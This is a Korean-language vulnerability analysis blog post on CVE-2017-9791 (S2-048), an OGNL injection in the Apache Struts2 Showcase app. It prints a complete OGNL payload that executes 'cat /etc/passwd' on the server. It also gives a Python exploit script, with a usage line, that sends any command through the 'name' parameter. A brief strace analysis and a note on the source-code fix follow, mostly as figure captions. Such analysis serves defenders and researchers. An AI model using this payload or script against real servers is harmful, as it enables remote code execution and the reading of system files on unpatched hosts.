CVE-2017-9791 Apache Struts2 Showcase Remote Code Execution (S2-048)
취약점 분석/2009년 이후 2017. 7. 21. 19:38다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791 http://struts.apache.org/docs/s2-048.html |
테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.
다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.
[그림 1] 취약한 Apache Struts 버전의 테스트 화면
위의 공격구문을 이용하여 다음과 같이 공격코드를 작성합니다.
# -*- coding: utf-8 -*- import sys import requests def exploit(url, cmd): payload = "%{" payload += "(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true))." payload += "(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())" payload += "}"
data = { "name": payload, "age": 26, "__checkbox_bustedBefore": "true", "description": "S2-048" }
> -- snip --< if __name__ == '__main__': if len(sys.argv) != 3: print "usage: python %s <url> <cmd>" % (sys.argv[0]) sys.exit(0)
print "[*] exploit Apache Struts2 S2-048" url = sys.argv[1] cmd = sys.argv[2]
exploit(url, cmd) |
작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.
[그림 2] 작성한 공격코드 실행 - 1
[그림 3] 작성한 공격코드 실행 - 2
프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.
[그림 4] 요청 값 확인
[그림 5] 자식 프로세스 생성
[그림 6] /bin/bash 명령어 실행
[그림 7] /bin/cat 명령어 실행
[그림 8] /etc/passwd 파일 일기
[그림 9] /etc/passwd 파일 내용 응답
해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.
[그림 10] 취약한 SaveGangsterAction.java
[그림 11] 조치된 SaveGangsterAction.java
위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.
[그림 12] 조치 확인